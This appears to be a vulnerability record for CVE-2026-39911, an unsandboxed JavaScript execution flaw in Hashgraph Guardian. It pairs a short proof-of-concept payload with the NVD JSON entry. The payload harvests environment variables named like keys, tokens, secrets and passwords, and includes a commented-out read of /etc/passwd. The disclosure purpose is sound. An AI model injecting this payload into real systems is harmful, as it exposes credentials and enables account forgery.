CVE-2026-39911

// Malicious payload to be injected into the Custom Logic policy block // This payload demonstrates reading environment variables using Node.js process module (function() { try { // Import native Node.js modules const process = require('process'); const fs = require('fs'); // Extract sensitive environment variables const env = process.env; const sensitiveData = {}; // Look for keys, tokens, and secrets Object.keys(env).forEach(key => { if (key.match(/KEY|TOKEN|SECRET|PASSWORD/i)) { sensitiveData[key] = env[key]; } }); // Read a specific file (e.g., /etc/passwd) // const fileContent = fs.readFileSync('/etc/passwd', 'utf-8'); // Return the stolen data (simulated exfiltration) return JSON.stringify(sensitiveData); } catch (error) { return 'Error: ' + error.message; } })();

{"cve": {"id": "CVE-2026-39911", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:01.870", "lastModified": "2026-05-01T17:16:24.230", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hashgraph Guardian through version 3.5.1, fixed in commit 45fbe2f, contains an unsandboxed JavaScript execution vulnerability in the Custom Logic policy block worker that allows authenticated Standard Registry users to execute arbitrary code by passing user-supplied JavaScript expressions directly to the Node.js Function() constructor without isolation. Attackers can import native Node.js modules to read arbitrary files from the container filesystem, access process environment variables containing sensitive credentials such as RSA private keys, JWT signing keys, and API tokens, and forge valid authentication tokens for any user including administrators."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hedera:guardian:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.5.0", "matchCriteriaId": "3CA6D6AC-BE68-4EFB-9563-D9E3281FA715"}]}]}], "references": [{"url": "https://github.com/hashgraph/guardian/commit/45fbe2f7e0e8feee30105d42d66ed63fb6177ebe", "source": "[email protected]"}, {"url": "https://github.com/hashgraph/guardian/pull/5929", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://www.vulncheck.com/advisories/hashgraph-guardian-unsandboxed-javascript-execution-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}